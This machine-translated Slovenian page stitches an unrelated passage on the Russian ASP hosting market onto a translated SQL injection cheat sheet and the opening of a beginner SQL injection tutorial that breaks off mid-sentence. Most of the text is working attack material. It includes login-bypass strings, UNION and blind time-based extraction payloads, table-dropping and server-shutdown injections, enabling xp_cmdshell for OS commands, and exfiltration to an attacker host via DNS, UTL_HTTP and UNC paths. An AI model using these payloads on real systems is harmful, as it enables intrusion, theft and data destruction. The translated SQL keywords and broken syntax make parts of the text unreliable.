Programiranje nadzora prijave. Kako lahko izvajate ukaze na daljavo z vbrizgavanjem SQL

Trenutno ni mogoče reči, da se je v Rusiji oblikoval polnopravni trg ASP. Ruski uporabniki večinoma še vedno ne dojemajo koncepta ASP kot uporabnega za svoje poslovanje. Trenutno (v času pisanja tega članka) ruski trg Ni niti enega uspešnega primera popolne implementacije modela ASP v velikem podjetju. Pravzaprav obstaja samo gostovanje, posamezni implementirani elementi modela ASP, podjetja, ki se želijo ukvarjati z ASP poslom itd. To pomeni, da v Rusiji še ni izvajanja klasičnega modela ASP.

Zdaj je na ruskem trgu model ASP uporaben samo za prilagojene e-poštne storitve (Mail.ru, Beep.ru, Freemail.ru itd.) in specializirane visokotehnološke storitve (na primer pasice in iskalniki, internetni statistični sistemi). , itd.). Hkrati pa najem poštnih storitev ne pomeni zgolj zagotavljanja osebnega poštnega predala vsakemu posameznemu uporabniku. Brezplačne e-poštne strežnike v podjetniškem sektorju pogosto uporabljajo mala podjetja in zasebni podjetniki. Glavni naročniki takšnih storitev so podjetja, ki želijo organizirati storitev korporativne e-pošte (ali avtomatizirati pretok dokumentov podjetja) ali internetni ponudniki (na primer portali Rambler.ru, Yandex.ru itd.), ki želijo organizirati brezplačno storitev spletne pošte. za svoje občinstvo.

Med ruskimi uporabniki obstaja določeno zanimanje za najem elektronskih trgovin (vitrine na elektronski trgovalni platformi). In to je povsem razumljivo. Ker je v Rusiji še vedno zelo, zelo malo uspešnih primerov spletnega trgovanja (kljub glasnim izjavam številnih podjetij o njihovih impresivnih dosežkih), se zdi najbolj smiselno porabiti red velikosti manj denarja za najem elektronske trgovine (kot nakup in vzdrževanje). Če projekt ne uspe, ga je mogoče zapreti precej hitro in brez večjih izgub. Najem aplikacij ERP, ki je razširjen na Zahodu, je zdaj v Rusiji le v fazi pilotnih projektov.

Med aplikacijami, ki jih ponujamo za najem, so tako relativno preprosti pisarniški paketi (kot je MS Office) kot zahtevnejše aplikacije (kot je Lotus Smart Suite) ter sistemi ERP (kot je Navision Axapta).

Glavne težave in značilnosti ruskega trga ASP.

10.2 Težave na ruskem trgu.

Trenutno ruski trg ASP zaostaja za svetovnim trgom ASP vsaj nekaj let. Začetno stanje ruskega trga ASP je posledica številnih težav, ki obstajajo na njem. Glavne od teh težav so:

1. Splošno zaostajanje ruskega gospodarstva od zahodnega in nerazvitost tehnične infrastrukture podjetij. Do zdaj večina ruskih podjetij deluje na tehnični infrastrukturi, ustvarjeni pred desetletji. Trenutno so naložbe podjetij v njegovo posodobitev še vedno nezadostne. In tukaj so problem bolj finančne prioritete podjetij, ker vsi ne morejo vložiti potrebnih sredstev v posodobitev tehnične infrastrukture. Zato morajo trenutne težave reševati z obstoječo infrastrukturo.

2. Nizko povpraševanje po storitvah ASP. Prebivalstvo in podjetja niso pripravljeni (večinoma) plačati storitev ASP. Medtem ko ima povprečni ruski potrošnik zdaj preprosto bolj nujne in pomembne prioritete glede porabe, korporativni uporabniki storitev ASP še ne jemljejo resno.

3.Šibkost zakonodajnega okvira za elektronski trg. Dokler ne bo sprejet celoten paket zakonov, o razvoju elektronskega trga (tudi ASP) ni treba govoriti.

4. Zaprtost računovodskega poročanja pravnih oseb (zlasti plačilno najsposobnejših podjetij).

5. Odpor IT oddelkov (tako ekspliciten kot impliciten) velikih podjetij, ki se morajo preusmeriti na druge naloge, zmanjševati zaposlene in IT proračune itd.

6. Majhno število aplikacij, ki jih je mogoče uporabiti v modelu ASP za ruska podjetja.

7. Prisotnost na ruskem trgu dela precej velikega števila začetnih in srednjih IT strokovnjakov z relativno nizkimi plačami. Po krizi leta 1998 je velika večina plač informatikov ostala na enaki pokrizni ravni. Za mala in srednja podjetja je včasih ceneje vzdrževati lastne IT storitve kot plačevati storitve ASP (za razliko od zahodnih podjetij, kjer je situacija ravno obratna).

Goljufija za vstavljanje SQL, ustvarjena za povzetek opisa tehnične značilnosti različne vrste Ranljivosti vbrizgavanja SQL. Članek predstavlja značilnosti vbrizgavanja SQL v MySQL, Microsoft SQL Strežnik, ORACLE in PostgreSQL.

0. Uvod
V tem članku lahko najdete podrobnosti tehnične informacije o različnih vrstah vbrizgavanja SQL. Lahko je koristen tako za izkušene strokovnjake kot za novince na področju informacijske varnosti.

Trenutno beležka vsebuje informacije samo za MySQL, Microsoft SQL Server ter nekaj podatkov za ORACLE in PostgreSQL. Razdelki vsebujejo sintakso vbrizgavanja, razlage in primere.

Uporabljeni simboli:
M (MySQL);
S (SQL Server);
O (Oracle);
P (PostgreSQL);
+ (po možnosti v drugih bazah);
* (potrebni so posebni pogoji).

1. Vrstni komentarji
Komentarji so na splošno uporabni, če prezrete del poizvedbe.
Sintaksa:
-- (SM): tabela vzorcev DROP;--
# (M): DROP tabela vzorcev;#
primer:
Uporabniško ime: admin" --
Ustvarjena poizvedba: SELECT * FROM members WHERE uporabniško ime = "admin"--" IN geslo = "geslo"
To vam bo omogočilo prijavo kot skrbniški uporabnik, mimo preverjanja gesla.

2. Blokiraj komentarje
Z njihovo pomočjo lahko prezrete del zahteve, zamenjate presledke, obidete črne liste in določite različico baze podatkov.
Sintaksa:
/*Komentar*/ (SM):
DROP/*komentar*/sampletable
DR/**/OP/*bypass_blacklist*/sampletable
SELECT/*replace_space*/password/**/FROM/**/Members

/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM ime tabele
To je posebna sintaksa komentarjev za MySQL. Omogoča zaznavanje različice MySQL. Ta komentar bo deloval samo v MySQL
Primeri:
ID: 10; DROP TABLE člani /*
Preostali del zahteve ignoriramo, tako kot vrstični komentar.

ID: /*!32302 10*/
prejeli boste enak odgovor kot pri ID=10, če je različica MySQL višja od 3.23.02

ID: /*!32302 1/0, */
Ustvarjena poizvedba: SELECT /*!32302 1/0, */ 1 FROM ime tabele
Napaka deljenja z 0 se bo zgodila, če ima strežnik različico MySQL, višjo od 3.23.02

3. Zaporedje zahtevkov
Omogoča izvajanje več kot ene zahteve hkrati. To je uporabno na kateri koli točki injiciranja.


Zeleno - podprto; črna - ni podprto; siva - neznano.
Sintaksa:
; (S): IZBERI * IZ članov; Člani DROP--
Ena zahteva se je končala, naslednja se je začela.
primer:
ID: 10; IZVRŠI člane --
Generirana poizvedba: SELECT * FROM products WHERE id = 10; Člani DROP--
Ta poizvedba bo izpustila tabelo članov po običajni poizvedbi.

4. Pogojni stavki
Odgovor na zahtevo bomo prejeli, če bo pogoj izpolnjen. To je ena od ključnih točk slepega vbrizgavanja. Pomaga tudi pri natančnem preverjanju preprostih stvari.
Sintaksa:
IF(pogoj, pravi-del, napačni-del) (M): IZBERI IF(1=1,"true","false")
IF pogoj true-del ELSE false-del (S): IF (1=1) SELECT "true" ELSE SELECT "false"
ČE pogoj THEN pravi del; ELSE lažni del; ENDIF; KONEC; (O): IF (1=1) THEN dbms_lock.sleep(3); DRUGEGA dbms_lock.sleep(0); ENDIF; KONEC;
IZBERI CASE WHEN pogoj THEN pravi del ELSE lažni del END; (P): SELECT CASE WHEN (1=1) THEN "A" ALSE "B" END;
primer:
if ((izberite uporabnika) = "sa" ALI (izberite uporabnika) = "dbo") izberite 1 else izberite 1/0 (S)
vrže napako deljenja z nič, če Trenutni uporabnik ne "sa" ali "dbo".

5. Uporaba številk
Uporablja se za obhod magic_quotes() in podobnih filtrov, vključno z WAF.
Sintaksa:
0xHEX_NUMBER (SM):
IZBERI ZNAK (0x66) (S)
SELECT 0x5045 (to ni številka, ampak niz) (M)
IZBERI 0x50 + 0x45 (zdaj je to številka) (M)
Primeri:
IZBERI NALOŽI_DATOTEKO(0x633A5C626F6F742E696E69) (M)
Prikaže vsebino datoteke c:\boot.ini

6. Združevanje nizov
Operacije z nizi lahko pomagajo obiti filtre ali prepoznati bazo podatkov.
Sintaksa:
+ (S): IZBERITE prijavo + "-" + geslo OD članov
|| (*MO): IZBERI prijavo || "-" || geslo OD članov
Deluje, če se MySQL izvaja v načinu ANSI. V nasprotnem primeru ga MySQL ne bo sprejel kot logični operator in bo vrnil 0. Bolje je uporabiti funkcijo CONCAT() v MySQL.

CONCAT(str1, str2, str3, …) (M): IZBERI CONCAT(prijava, geslo) FROM članov

7. Nizi brez narekovajev
Obstaja več načinov, kako se izogniti uporabi narekovajev v poizvedbi, na primer z uporabo CHAR() (MS) in CONCAT() (M).
Sintaksa:
IZBERI 0x457578 (M)

MySQL ima preprost način za predstavitev niza kot šestnajstiške kode:
IZBERI CONCAT("0x",HEX("c:\\boot.ini"))

Vrne niz »KLM«:
IZBERI CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
IZBERI CHAR(75)+CHAR(76)+CHAR(77) (S)
IZBERI CHR(75)||CHR(76)||CHR(77) (O)
IZBERI (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Pretvarjanje nizov in števil.
Sintaksa:
ASCII() (SMP): IZBERI ASCII("a")
Vrne kodo ASCII skrajno levega znaka. Funkcija se uporablja za slepo injiciranje.

CHAR() (SM): IZBERI CHAR(64)
Prevede kodo ASCII v ustrezen znak.

9. Operater UNION
Z operatorjem UNION lahko poizvedujete po presečišču tabel. V bistvu lahko pošljete poizvedbo, ki vrne vrednost iz druge tabele.
primer:
SELECT glava, txt FROM novice UNION ALL SELECT ime, podaja FROM člani
To bo združilo rezultate iz tabel novic in članov

10. Authentication Bypass (SMO+)
Primeri:
admin" --
admin" #
admin"/*
"ali 1=1--
" ali 1=1#
" ali 1=1/*
") ali "1"="1--
") ali ("1"="1--

11. Obhod avtentikacije MD5
Če aplikacija najprej primerja uporabniško ime in nato še md5 zgoščeno vrednost gesla, potem boste potrebovali dodatne trike za obhod avtentikacije. Rezultate lahko združite z znanim geslom in njegovim zgoščevanjem.
Primer (MSP):
Uporabniško ime: admin
Geslo: 1234 " IN 1=0 UNION ALL SELECT "admin", "
= MD5(1234)

12. Na podlagi napak
12.1 Definiranje stolpcev z uporabo HAVING BY(S)
primer:
V istem vrstnem redu
" IMATI 1=1 --
" GROUP BY table.columnfromerror1 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1=1 –
…………….
Nadaljujte, dokler ne prenehate prejemati napak.

12.2 Določanje števila stolpcev z uporabo ORDER BY (MSO+)
Iskanje števila stolpcev z uporabo ORDER BY lahko pospešite z vbrizgavanjem UNION.
NAROČI PO 1--
NAROČI PO 2--
NAROČI PO 3-
………………..
Nadaljujte, dokler ne prejmete sporočila o napaki. To bo pokazalo število stolpcev.

13. Definicija podatkovnega tipa
Vedno uporabite UNION z ALL.
Če se želite znebiti nepotrebnega vnosa v tabelo, uporabite -1 za vse neobstoječe vrednosti na začetku poizvedbe (če je vnos v parameter WHERE). To je pomembno, če lahko naenkrat pridobite samo eno vrednost.
Uporabite NULL v injekcijah UNION, namesto da poskušate uganiti niz, datum, številko itd. Vendar bodite previdni pri injiciranju na slepo, saj... morda zamenjujete napako zbirke podatkov s samo aplikacijo. Nekateri jeziki, kot je ASP.NET, povzročijo napako pri uporabi vrednosti NULL (ker razvijalci niso pričakovali, da bodo v polju uporabniškega imena videli ničelno vrednost)
Primeri:
" zveza izberite vsoto (stolpec za iskanje) od uporabnikov-- (S) :
Če ne prejmete sporočila o napaki, je stolpec številski.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL --
Uporabite lahko CAST() ali CONVERT()

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
Če ni napake, je sintaksa pravilna, tj. Uporablja se MS SQL Server.

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
Če ni napake, je prvi stolpec številka.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
Če se pojavi napaka, drugi stolpec ni številka.

11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
Če ni napake, je drugi stolpec niz.
……………..

14. Preprost vložek (MSO+)
primer:
"; vstavite med uporabniške vrednosti (1, "hax0r", "coolpass", 9)/*

15. Zbiranje informacij
Sintaksa:
@@različica (MS)
Izvedete lahko različico baze podatkov in podrobnejše informacije.
primer:
INSERT INTO members(id, user, pass) VALUES(1, ""+SUBSTRING(@@version,1,10) ,10)

16. Kompleksni vložek (S)
Omogoča vstavljanje vsebine datoteke v tabelo. Če ne poznate notranje poti spletne aplikacije, lahko preberete metabazo IIS (samo IIS 6).
Sintaksa:
datoteka (%systemroot%\system32\inetsrv\MetaBase.xml)
Nato lahko v njem najdete poti aplikacij.
primer:
1. Ustvarite tabelo foo(vrsta niza varchar(8000))
2. Vstavite vsebino datoteke 'c:\inetpub\wwwroot\login.asp' v tabelo foo
3. Spustite začasno tabelo in ponovite za drugo datoteko.

17. BCP (S)
Zapisuje besedilna datoteka. To zahteva poverilnice.
primer:
bcp "SELECT * FROM test..foo" poizvedba c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH v SQL Server (S)
V SQL Serverju lahko uporabljate skripte VBS, WSH.
primer:
Uporabniško ime:"; deklariraj @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "run", NULL, "notepad.exe" –

19. Izvedite sistemske ukaze (S)
Dobro znan trik, funkcija je privzeto onemogočena v SQL Server 2005. Potrebujete skrbniške pravice.
primer:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Posebne tabele v SQL Server (S)
Primeri:
Sporočila o napakah: master..sysmessages
Povezani strežniki: master..sysservers
Geslo SQL Server 2000: masters..sysxlogins
Geslo SQL Server 2005: sys.sql_logins

21. Več shranjenih postopkov za SQL Server (S)
Sintaksa:
Cmd Izvedi (xp_cmdshell)
Stvari registra (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemmultistring
xp_regwrite
Upravljanje storitev (xp_servicecontrol)
Mediji (xp_availablemedia)
Viri ODBC (xp_enumdsn)
Način prijave (xp_loginconfig)
Ustvarjanje datotek Cab (xp_makecab)
Naštevanje domen (xp_ntsec_enumdomains)
Ukinitev procesa (potreben je PID) (xp_terminate_process)
Dodaj nov postopek (sp_addextendedproc)
Zapišite besedilno datoteko v UNC ali notranjo pot (sp_makewebtask)
Primeri:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues ​​​​HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

22. Množične opombe MSSQL
Primeri:
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. Vbrizgavanje SQL v LIMIT (M) poizvedbe
primer:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
Če želite zaobiti operator LIMIT, lahko uporabite UNION ali komentar.

24. Zaustavitev strežnika SQL (S)
primer:
";ugasniti -

25. Omogočanje xp_cmdshell v SQL Server 2005
Sintaksa:
Privzeto je xp_cmdshell in nekaj drugih potencialno nevarnih funkcij onemogočenih v SQL Server 2005. Če imate skrbniške pravice, jih lahko omogočite.
EXEC sp_configure "pokaži napredne možnosti",1
ZNOVA KONFIGURIRAJ
EXEC sp_configure "xp_cmdshell",1
ZNOVA KONFIGURIRAJ

26. Iskanje strukture baze podatkov v SQL Server (S)
Primeri:
IZBERI ime IZ sysobjects WHERE xtype = "U"

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tablenameforcolumnnames")
Pridobivanje imen stolpcev

27. Premikanje zapisov (S)
Primeri:
... KJER uporabniki NISO ("Prvi uporabnik", "Drugi uporabnik")
Uporabite WHERE z NOT IN ali NOT EXIST

IZBERI TOP 1 ime IZ članov, KJER NE OBSTAJA(IZBERI TOP 0 ime IZ članov)

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Izberite p.name iz (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id)<=o.id)
AS x, ime iz sysobjects o) kot p, kjer p.x=3) kot int

Izberite p.name iz (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype="U" in i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Hiter način za pridobivanje podatkov iz vbrizgavanja SQL na podlagi napak v SQL Server (S)
";BEGIN DECLARE @rt varchar(8000) SET @rd=":" SELECT @rd=@rd+" "+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "MEMBERS") AND name>@rd SELECT @rd AS rd v TMP_SYS_TMP konec;--

29. Iskanje strukture baze podatkov v MySQL (M)
Primeri:
SELECT ime_tabele FROM information_schema.tables WHERE shema_tabele = "ime_tabele"
Pridobivanje tabel po meri

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = "tablename"
Pridobivanje imen stolpcev

30. Iskanje strukture baze podatkov v Oracle (O)
Primeri:
SELECT * FROM all_tables WHERE OWNER = "DATABASE_NAME"
Pridobivanje tabel po meri

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABLE"
Pridobivanje imen stolpcev

31. Slepe injekcije
V kakovostni aplikaciji ne boste mogli videti sporočil o napakah. Ne boste mogli uporabljati operaterja UNION in napadov na podlagi napak. Za ekstrahiranje podatkov boste morali uporabiti slepo injekcijo SQL. Obstajata dve vrsti slepih injekcij.
Običajno slepo vstavljanje: na strani ne morete videti rezultatov zahtev, lahko pa ugotovite rezultat iz odgovora ali statusa HTTP.
Popolnoma slepo vbrizgavanje: ne boste opazili nobene razlike v izhodu.
Pri običajnih slepih vbrizgavanjih lahko uporabite stavke IF in WHERE, pri popolnoma slepih vbrizgavanjih pa morate uporabiti nekaj funkcij čakanja in primerjati odzivni čas. Če želite to narediti, lahko uporabite WAIT FOR DELAY '0:0:10' v SQL Server, BENCHMARK() in sleep(10) v MySQL, pg_sleep(10) v PostgreSQL.
primer:
Ta primer temelji na resnični operaciji slepega vbrizgavanja v SQL Server.

TRUE: SELECT ID, uporabniško ime, e-pošta FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 ime FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 ime FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>78--

FALSE: SELECT ID, uporabniško ime, e-pošta FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 ime FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 ime FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>103--

FALSE: SELECT ID, uporabniško ime, e-pošta FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 ime FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 ime FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>89--

FALSE: SELECT ID, uporabniško ime, e-pošta FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 ime FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 ime FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>83--

TRUE: SELECT ID, uporabniško ime, e-pošta FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 ime FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 ime FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>79--

FALSE: SELECT ID, uporabniško ime, e-pošta FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 ime FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 ime FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>80--

Na podlagi zadnjih dveh poizvedb natančno vemo vrednost prvega znaka v ascii - ta je 80. To pomeni, da je prvi znak `P`. Tako lahko ugotovimo imena tabel in njihovo vsebino. Drug način je branje podatkov bit za bit.

32. Popolnoma slepo vbrizgavanje
To metodo uporabite samo v primeru resnično slepega injiciranja. Bodite previdni pri čakalnih dobah.
Sintaksa:
POČAKAJ NA ZAKASNITEV "čas" (S)
Funkcija preprosto počaka določen čas, ne da bi obremenjevala procesor.
Primeri:
if (izberite uporabnika) = "sa" čakaj na zamudo "0:0:10"
ProductID =1; počakaj na zakasnitev "0:0:10"--
ProductID =1); počakaj na zakasnitev "0:0:10"--
ProductID =1"; počakaj na zakasnitev "0:0:10"--
ProductID =1"); počakaj na zakasnitev "0:0:10"--
ProductID =1)); počakaj na zakasnitev "0:0:10"--
ProductID =1")); počakaj na zakasnitev "0:0:10"--
Sintaksa:
MERILO (kolikokrat naredi to) (M)
primer:
ČE OBSTAJA (SELECT * FROM users WHERE uporabniško ime = "root") BENCHMARK(1000000000,MD5(1))
Preverimo prisotnost root uporabnika.

ČE (IZBERI * IZ prijave) BENCHMARK(1000000,MD5(1))
Preverjanje obstoja tabele v MySQL
Sintaksa:
pg_sleep(sekund) (P)
Spanje za ponujene sekunde.

spanje (sekunde) (M)
spi za ponujene sekunde.

bms_pipe.receive_message (O)
spi za ponujene sekunde.
primer:
(IZBERITE PRIMER, KO (NVL(ASCII(SUBSTR(((INJECTION)),1,1)),0) = 100) THEN dbms_pipe.receive_message(("xyz"),10) ELSE dbms_pipe.receive_message(("xyz" ),1) KONEC OD dvojine)
(INEKCIJA) – vaša zahteva.
Če je pogoj resničen, bo odziv trajal 10 sekund. V nasprotnem primeru bo odgovor 1 sekunda.

33. Uporabne funkcije MySQL
Sintaksa:
MD5()
SHA1()
GESLO()
KODIRAJ()
STISNITI()
ROW_COUNT()
SCHEMA()
RAZLIČICA()

34. Injekcije SQL drugega reda
Običajno bi v polje vstavili poizvedbo za vstavljanje SQL in pričakovali, da ne bo filtrirana.
primer:
Ime: " + (IZBERI TOP 1 geslo OD uporabnikov) + "
E-naslov: [e-pošta zaščitena]
Če aplikacija uporablja ime polja shranjene procedure ali funkcije, lahko to uporabite za vbrizgavanje.

35. Uporaba strežnika SQL za ekstrahiranje zgoščenih vrednosti NTLM
Ta napad vam bo pomagal pridobiti uporabniško geslo za Windows ciljnega strežnika prek strežnika SQL, če ni dostopa od zunaj. SQL Server lahko prisilimo, da se poveže z Windows prek poti UNC in ekstrahira sejo NTLM s posebnimi orodji, kot sta Cain & Abel.

Sintaksa:
Pot UNC: "\\VAŠ NASLOV\C$\x.txt"
36. Drugi primeri injekcij
SQL strežnik:
?ranljivParam=1; SELECT * FROM OPENROWSET("SQLOLEDB", ((INJECTION))+".yourhost.com";"sa";"pwd", "SELECT 1")

?ranljivParam=1; PRIJAVITE @q varchar(1024); SET @q = "\\"+((INJECTION))+".yourhost.com\\test.txt"; EXEC master..xp_dirtree @q
ustvari poizvedbo DNS za (INJECTION).yourhost.com

(INEKCIJA) - vaša zahteva.
MySQL:
?vulnerableParam=-99 ALI (SELECT LOAD_FILE(concat("\\\\",((INJECTION)), "yourhost.com\\"))
Ustvari zahtevo NBNS/DNS za yourhost.com
?vulnerableParam=-99 ALI (IZBERI ((INJEKCIJO)) V OUTFILE "\\\\yourhost.com\\share\\output.txt")
Zapiše podatke v vašo datoteko
(INEKCIJA) - vaša zahteva.
Oracle:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||((INJECTION))||"") FROM DUAL)
Vohalo bo shranilo rezultate
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||((INJECTION))||".html") FROM DUAL)
Rezultati bodo shranjeni v dnevnikih HTTP
?vulnerableParam=(IZBERI UTL_INADDR.get_host_addr(((INJECTION))||".yourhost.com") IZ DUAL)

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(((INJECTION))||’.yourhost.com’,80) FROM DUAL)
Analizirati morate promet zahtev DNS do yourhost.com
(INEKCIJA) - vaša zahteva.

To gradivo je prilagodljiv prevod članka SQL Injection Cheat Sheet.

Lep pozdrav, bralec. Zadnje čase me zanima spletna varnost in do neke mere je moje delo povezano s tem. Ker Vse pogosteje sem začel opažati teme na različnih forumih, ki so jih prosili, naj pokažejo, kako vse skupaj deluje, zato sem se odločil napisati članek. Članek bo namenjen tistim, ki se s tem še niste srečali, a bi se radi naučili. Na internetu je relativno veliko člankov na to temo, ki pa so za začetnike nekoliko zapleteni. Vse bom poskušal opisati v jasnem jeziku in s podrobnimi primeri.

Predgovor

Da bi razumeli ta članek, pravzaprav ne potrebujete znanja jezika SQL, ampak vsaj dobro potrpežljivost in malo možganov za pomnjenje.

Verjamem, da samo branje članka ne bo dovolj, saj... potrebujemo žive primere - kot veste, praksa v procesu pomnjenja ni nikoli odveč. Zato bomo pisali ranljive skripte in se na njih urili.

Kaj je vbrizgavanje SQL?
Preprosto povedano, to je napad na bazo podatkov, ki vam bo omogočil izvedbo nekaterih dejanj, ki jih ustvarjalec skripta ni načrtoval. Primer iz življenja:

Oče je v sporočilu svoji materi napisal, naj da Vasji 100 rubljev in ga položi na mizo. Če to predelamo v komični jezik SQL, dobimo:
IZ SVOJE DENARNICE VZEMI 100 RUBLJEV IN JIH DAJ Vasji

Ker je oče slabo napisal sporočilo (neroden rokopis) in ga pustil na mizi, ga je videl Vasjin brat Petja. Petya, ki je heker, je tam dodal "ALI Pete" in rezultat je bila naslednja zahteva:
IZ SVOJE DENARNICE VZEMI 100 RUBLJEV IN JIH DAJ Vasji ALI Petji

Mama se je po branju sporočila odločila, da je včeraj dala denar Vasji in Petji dala 100 rubljev. Tukaj je preprost primer vbrizgavanja SQL iz life:) Brez filtriranja podatkov (mama je komaj razumela rokopis) je Petya ustvaril dobiček.

Priprava
Za vajo boste potrebovali arhiv z izvornimi skripti za ta članek. Prenesite ga in razpakirajte na strežnik. Uvozite tudi bazo podatkov in nastavite podatke v datoteki cfg.php

Injekcija SQL

Kot ste že razumeli, vbrizgavanje prihaja iz vhodnih podatkov, ki niso filtrirani. Najpogostejša napaka je nefiltriranje poslanega ID-ja. No, grobo rečeno, narekovaje postavite na vsa polja. Naj bo to zahteva GET/POST ali celo piškotek!

Številski vnosni parameter
Za prakso potrebujemo skripto index1.php. Kot sem rekel zgoraj, v ID novice vstavimo narekovaje.

Ker Naša zahteva nima filtriranja:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Scenarij bo to razumel kot

IZBERI * IZ novic WHERE id=1"

In dalo nam bo napako:
Opozorilo: mysql_fetch_array() pričakuje, da bo parameter 1 vir, logična vrednost podana v C:\WebServ\domains\sqlinj\index1.php v vrstici 16

Če se napaka ne prikaže, so morda naslednji razlogi:

1. Vbrizgavanje SQL ni tukaj - narekovaji so filtrirani ali pa se ga preprosto splača pretvoriti (int)
2. Izhod napak je onemogočen.

Če še vedno dobite napako - Hura! Našli smo prvo vrsto vbrizgavanja SQL - numerični vhodni parameter.

Vhodni parameter niza

Povpraševanje bomo poslali na index2.php. V tej datoteki je zahteva videti takole:
$user = $_GET["uporabnik"]; $query = "SELECT * FROM news WHERE user="$user"";

Tukaj izbiramo novice po uporabniškem imenu in spet ne filtriramo.
Ponovno pošiljamo povpraševanje s predračunom:

Prišlo je do napake. V REDU! To pomeni, da obstaja ranljivost. Za začetek nam je dovolj – pojdimo na prakso.

Ukrepajmo

Malo teorije

Verjetno komaj čakate, da iz tega potegnete še kaj drugega kot napake. Najprej razumejte, da je znak " -- " velja za komentar v SQL.

POZOR! Pred in za njim morajo biti presledki. V URL-ju se prenašajo kot %20

Vse, kar pride za komentarjem, bo zavrženo, to je zahteva:
IZBERI * IZ novic WHERE uporabnik="AlexanderPHP" -- habrahabra

Uspelo bo. To lahko poskusite na skriptu index2.php tako, da pošljete zahtevo, kot je ta:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Naučite se parametra UNION. V jeziku SQL ključna beseda UNION uporablja se za združevanje rezultatov dveh poizvedb SQL v eno tabelo. To pomeni, da iz druge mize izvlečemo nekaj, kar potrebujemo.

Izkoristimo to

Če je parameter »Numeric«, nam v povpraševanju ni treba poslati ponudbe in seveda na koncu dodati komentar. Vrnimo se k scenariju index1.php.

Obrnemo se na skript sqlinj/index1.php?id=1 UNION SELECT 1 . Naša poizvedba po bazi podatkov je videti takole:
SELECT * FROM news WHERE id=1 UNION SELECT 1
In dal nam je napako, ker... za delo z združevanjem poizvedb potrebujemo enako število polj.

Ker Na njihovo število v prvi zahtevi ne moremo vplivati, potem moramo njihovo število v drugi izbrati tako, da bo enako prvi.

Izbira števila polj

Izbira polj je zelo preprosta, le pošljite naslednje zahteve:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Napaka ...
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Spet napaka!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Brez napake! To pomeni, da je število stolpcev 5.

ZDRUŽI PO
Pogosto se zgodi, da je polj lahko 20, 40 ali celo 60. Da nam jih ne bi bilo treba vsakič prebirati, uporabimo ZDRUŽI PO

Če zahteva
sqlinj/index1.php?id=1 ZDRUŽI PO 2
